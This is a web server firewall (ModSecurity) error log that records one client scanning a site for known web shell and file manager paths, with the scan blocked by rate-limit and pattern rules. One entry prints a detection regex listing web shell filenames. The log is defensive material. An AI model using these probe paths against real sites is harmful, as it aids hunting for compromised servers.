[Sun Mar 01 12:44:56.249526 2026] [:error] [pid 34286:tid 34306] [client 20.104.206.150:3973] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj.php"] [unique_id "aaPESHPFxpCIhHW6Xmm9JgAAApI"]
[Sun Mar 01 12:44:56.699144 2026] [:error] [pid 34785:tid 34793] [client 20.104.206.150:3997] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj.php"] [unique_id "aaPESIC4dBNEGEcJx-OW0AAAAwY"]
[Sun Mar 01 12:44:57.250181 2026] [:error] [pid 34785:tid 34793] [client 20.104.206.150:4021] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj.php"] [unique_id "aaPESYC4dBNEGEcJx-OW0wAAAwY"]
[Sun Mar 01 12:44:57.776144 2026] [:error] [pid 35654:tid 35669] [client 20.104.206.150:4016] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/he.php"] [unique_id "aaPESUIPeuEwCTirofKlBAAAA8s"]
[Sun Mar 01 12:44:58.268648 2026] [:error] [pid 21156:tid 21190] [client 20.104.206.150:3909] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/he.php"] [unique_id "aaPESqsaG_9IkG8N2p0nhAAAABg"]
[Sun Mar 01 12:44:58.832677 2026] [:error] [pid 35350:tid 35359] [client 20.104.206.150:3910] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/he.php"] [unique_id "aaPESoqZbPJ_JGYY1RQVnwAAA4c"]
[Sun Mar 01 12:44:59.270850 2026] [:error] [pid 21159:tid 21224] [client 20.104.206.150:4038] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/he.php"] [unique_id "aaPES-Li3ouy1NZIkgpqpwAAAIM"]
[Sun Mar 01 12:44:59.729210 2026] [:error] [pid 33229:tid 33243] [client 20.104.206.150:4007] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aaPES3zT4c9ddlGE6FxwbAAAAYw"]
[Sun Mar 01 12:45:00.152495 2026] [:error] [pid 21156:tid 21176] [client 20.104.206.150:4031] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aaPETKsaG_9IkG8N2p0nhwAAAAo"]
[Sun Mar 01 12:45:00.645137 2026] [:error] [pid 34552:tid 34569] [client 20.104.206.150:4087] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aaPETHBlU_DRqGi4yvsmqAAAAs4"]
[Sun Mar 01 12:45:01.130264 2026] [:error] [pid 21156:tid 21176] [client 20.104.206.150:4006] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aaPETasaG_9IkG8N2p0nigAAAAo"]
[Sun Mar 01 12:45:01.641540 2026] [:error] [pid 8688:tid 8703] [client 20.104.206.150:4088] [client 20.104.206.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "aaPETTHJ4Nn-RvulD0r1mAAAAU0"]
[Sun Mar 01 12:45:02.105738 2026] [:error] [pid 21158:tid 21206] [client 20.104.206.150:3935] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "aaPETjriSIe3-pWnbPYfSQAAAE0"]
[Sun Mar 01 12:45:02.562678 2026] [:error] [pid 33976:tid 33983] [client 20.104.206.150:4094] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "aaPETgUyU3c4Xm_xpMTcAQAAAkU"]
[Sun Mar 01 12:45:03.102475 2026] [:error] [pid 21158:tid 21206] [client 20.104.206.150:4033] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "aaPETzriSIe3-pWnbPYfTgAAAE0"]
[Sun Mar 01 12:45:03.678237 2026] [:error] [pid 34552:tid 34564] [client 20.104.206.150:4066] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blog.php"] [unique_id "aaPET3BlU_DRqGi4yvsmrQAAAsk"]
[Sun Mar 01 12:45:04.188163 2026] [:error] [pid 8688:tid 8703] [client 20.104.206.150:3933] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blog.php"] [unique_id "aaPEUDHJ4Nn-RvulD0r1pgAAAU0"]
[Sun Mar 01 12:45:04.659086 2026] [:error] [pid 21156:tid 21167] [client 20.104.206.150:4024] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blog.php"] [unique_id "aaPEUKsaG_9IkG8N2p0nkQAAAAE"]
[Sun Mar 01 12:45:05.094078 2026] [:error] [pid 34286:tid 34309] [client 20.104.206.150:4092] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blog.php"] [unique_id "aaPEUXPFxpCIhHW6Xmm9PgAAApU"]
[Sun Mar 01 12:45:05.629758 2026] [:error] [pid 21156:tid 21167] [client 20.104.206.150:4020] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php7"] [unique_id "aaPEUasaG_9IkG8N2p0nlAAAAAE"]
[Sun Mar 01 12:45:06.097530 2026] [:error] [pid 34785:tid 34793] [client 20.104.206.150:3919] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php7"] [unique_id "aaPEUoC4dBNEGEcJx-OW2wAAAwY"]
[Sun Mar 01 12:45:06.519150 2026] [:error] [pid 33976:tid 33995] [client 20.104.206.150:4044] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php7"] [unique_id "aaPEUgUyU3c4Xm_xpMTcAwAAAlE"]
[Sun Mar 01 12:45:07.006735 2026] [:error] [pid 34785:tid 34789] [client 20.104.206.150:3932] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php7"] [unique_id "aaPEU4C4dBNEGEcJx-OW3QAAAwI"]
[Sun Mar 01 12:45:07.850266 2026] [:error] [pid 8688:tid 8698] [client 20.104.206.150:3930] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lufix.php"] [unique_id "aaPEUzHJ4Nn-RvulD0r1uwAAAUg"]
[Sun Mar 01 12:45:08.478793 2026] [:error] [pid 33976:tid 33982] [client 20.104.206.150:4082] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lufix.php"] [unique_id "aaPEVAUyU3c4Xm_xpMTcBQAAAkQ"]
[Sun Mar 01 12:45:08.966832 2026] [:error] [pid 8688:tid 8691] [client 20.104.206.150:4091] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lufix.php"] [unique_id "aaPEVDHJ4Nn-RvulD0r1wQAAAUE"]
[Sun Mar 01 12:45:09.478880 2026] [:error] [pid 35060:tid 35066] [client 20.104.206.150:4019] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lufix.php"] [unique_id "aaPEVZL8JPoS_tq-tiUXLQAAA0Q"]
[Sun Mar 01 12:45:10.073770 2026] [:error] [pid 33976:tid 33983] [client 20.104.206.150:3955] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax-actions.php"] [unique_id "aaPEVgUyU3c4Xm_xpMTcBgAAAkU"]
[Sun Mar 01 12:45:10.719077 2026] [:error] [pid 8688:tid 8698] [client 20.104.206.150:3986] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax-actions.php"] [unique_id "aaPEVjHJ4Nn-RvulD0r1xgAAAUg"]
[Sun Mar 01 12:45:11.352289 2026] [:error] [pid 33976:tid 33981] [client 20.104.206.150:3989] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax-actions.php"] [unique_id "aaPEVwUyU3c4Xm_xpMTcBwAAAkM"]
[Sun Mar 01 12:45:11.808799 2026] [:error] [pid 34286:tid 34306] [client 20.104.206.150:3985] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax-actions.php"] [unique_id "aaPEV3PFxpCIhHW6Xmm9RAAAApI"]
[Sun Mar 01 12:45:12.263815 2026] [:error] [pid 21156:tid 21167] [client 20.104.206.150:4065] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php7"] [unique_id "aaPEWKsaG_9IkG8N2p0nmwAAAAE"]
[Sun Mar 01 12:45:12.688226 2026] [:error] [pid 33976:tid 33982] [client 20.104.206.150:3860] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php7"] [unique_id "aaPEWAUyU3c4Xm_xpMTcCwAAAkQ"]
[Sun Mar 01 12:45:13.159937 2026] [:error] [pid 21158:tid 21216] [client 20.104.206.150:4060] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php7"] [unique_id "aaPEWTriSIe3-pWnbPYfWgAAAFc"]
[Sun Mar 01 12:45:13.650119 2026] [:error] [pid 34552:tid 34561] [client 20.104.206.150:4067] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php7"] [unique_id "aaPEWXBlU_DRqGi4yvsmxAAAAsY"]
[Sun Mar 01 12:45:14.172299 2026] [:error] [pid 21158:tid 21206] [client 20.104.206.150:4050] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aaPEWjriSIe3-pWnbPYfXgAAAE0"]
[Sun Mar 01 12:45:14.637260 2026] [:error] [pid 34785:tid 34793] [client 20.104.206.150:4042] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aaPEWoC4dBNEGEcJx-OW6wAAAwY"]
[Sun Mar 01 12:45:15.079752 2026] [:error] [pid 34286:tid 34303] [client 20.104.206.150:3988] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aaPEW3PFxpCIhHW6Xmm9TwAAAo8"]
[Sun Mar 01 12:45:15.511039 2026] [:error] [pid 21158:tid 21206] [client 20.104.206.150:4054] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aaPEWzriSIe3-pWnbPYfZgAAAE0"]
[Sun Mar 01 12:45:15.951007 2026] [:error] [pid 21156:tid 21167] [client 20.104.206.150:4089] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "aaPEW6saG_9IkG8N2p0npAAAAAE"]
[Sun Mar 01 12:45:16.410079 2026] [:error] [pid 21158:tid 21216] [client 20.104.206.150:4055] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "aaPEXDriSIe3-pWnbPYfbQAAAFc"]
[Sun Mar 01 12:45:16.830667 2026] [:error] [pid 8688:tid 8703] [client 20.104.206.150:4080] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "aaPEXDHJ4Nn-RvulD0r11wAAAU0"]
[Sun Mar 01 12:45:17.247600 2026] [:error] [pid 21158:tid 21206] [client 20.104.206.150:3906] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "aaPEXTriSIe3-pWnbPYfdgAAAE0"]
[Sun Mar 01 12:45:17.676280 2026] [:error] [pid 34785:tid 34789] [client 20.104.206.150:4026] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/browse.php"] [unique_id "aaPEXYC4dBNEGEcJx-OW7QAAAwI"]
[Sun Mar 01 12:45:18.126874 2026] [:error] [pid 21158:tid 21216] [client 20.104.206.150:3925] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/browse.php"] [unique_id "aaPEXjriSIe3-pWnbPYfeAAAAFc"]
[Sun Mar 01 12:45:18.605857 2026] [:error] [pid 21159:tid 21236] [client 20.104.206.150:3943] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/browse.php"] [unique_id "aaPEXuLi3ouy1NZIkgpqvwAAAI8"]
[Sun Mar 01 12:45:19.039329 2026] [:error] [pid 35060:tid 35068] [client 20.104.206.150:3865] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/browse.php"] [unique_id "aaPEX5L8JPoS_tq-tiUXQwAAA0Y"]
[Sun Mar 01 12:45:19.518902 2026] [:error] [pid 34552:tid 34556] [client 20.104.206.150:3845] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/license.php"] [unique_id "aaPEX3BlU_DRqGi4yvsmxQAAAsE"]
[Sun Mar 01 12:45:19.991284 2026] [:error] [pid 34552:tid 34578] [client 20.104.206.150:4061] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/license.php"] [unique_id "aaPEX3BlU_DRqGi4yvsmxgAAAtc"]
[Sun Mar 01 12:45:20.466812 2026] [:error] [pid 33976:tid 33990] [client 20.104.206.150:3873] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/license.php"] [unique_id "aaPEYAUyU3c4Xm_xpMTcDQAAAkw"]
[Sun Mar 01 12:45:20.986127 2026] [:error] [pid 21159:tid 21230] [client 20.104.206.150:3861] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/license.php"] [unique_id "aaPEYOLi3ouy1NZIkgpqwwAAAIk"]
[Sun Mar 01 12:45:21.479477 2026] [:error] [pid 33976:tid 33995] [client 20.104.206.150:4074] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contact.php"] [unique_id "aaPEYQUyU3c4Xm_xpMTcEAAAAlE"]
[Sun Mar 01 12:45:21.961426 2026] [:error] [pid 33976:tid 33981] [client 20.104.206.150:3928] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contact.php"] [unique_id "aaPEYQUyU3c4Xm_xpMTcFQAAAkM"]
[Sun Mar 01 12:45:22.510971 2026] [:error] [pid 34286:tid 34304] [client 20.104.206.150:3948] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contact.php"] [unique_id "aaPEYnPFxpCIhHW6Xmm9ZQAAApA"]
[Sun Mar 01 12:45:23.061304 2026] [:error] [pid 35060:tid 35073] [client 20.104.206.150:3867] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contact.php"] [unique_id "aaPEY5L8JPoS_tq-tiUXRgAAA0s"]
[Sun Mar 01 12:45:23.713094 2026] [:error] [pid 35060:tid 35073] [client 20.104.206.150:4005] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aaPEY5L8JPoS_tq-tiUXSwAAA0s"]
